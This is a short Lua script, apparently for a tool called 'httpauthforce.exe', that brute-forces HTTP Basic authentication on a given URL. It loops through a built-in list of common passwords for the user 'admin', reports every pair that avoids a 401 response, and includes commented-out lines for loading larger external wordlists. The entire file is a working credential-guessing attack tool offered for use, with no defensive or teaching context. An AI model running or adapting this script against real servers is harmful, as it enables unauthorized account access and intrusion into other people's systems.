require('Gelo')
usage = [[
USAGE:
  httpauthforce.exe [url]

Example:
  httpauthforce.exe http://www.someurl.com/path
]]

--add your lists here
userlist = [[
admin
]]

passlist = [[
123
password
letmein
123456
qwerty
]]

--uncomment this if you want to load the lists from external files
--userlist = file_gettostr('username.lst')
--passlist = file_gettostr('password.lst')

if arg[1] == nil then
 print(usage)
else
 http = GHTTPRequest:new()
 http.serverauth = 'Basic'
 u = GStrListParser:new()
 u:loadfromstr(userlist)
 p = GStrListParser:new()
 p:loadfromstr(passlist)
 print('Executing HTTP brute force.\nTarget URL: '..arg[1]..'...')
 while u:parsing() do
  http.username = u.current
  p:reset()
  while p:parsing() do
   http.password = p.current
   http:open('GET',arg[1])
   if http.statuscode ~= 401 then
    print('Found: '..u.current..':'..p.current)
    p:stop()
   end
  end
 end
 print('Done.')
 u:release()
 p:release()
 http:release()
end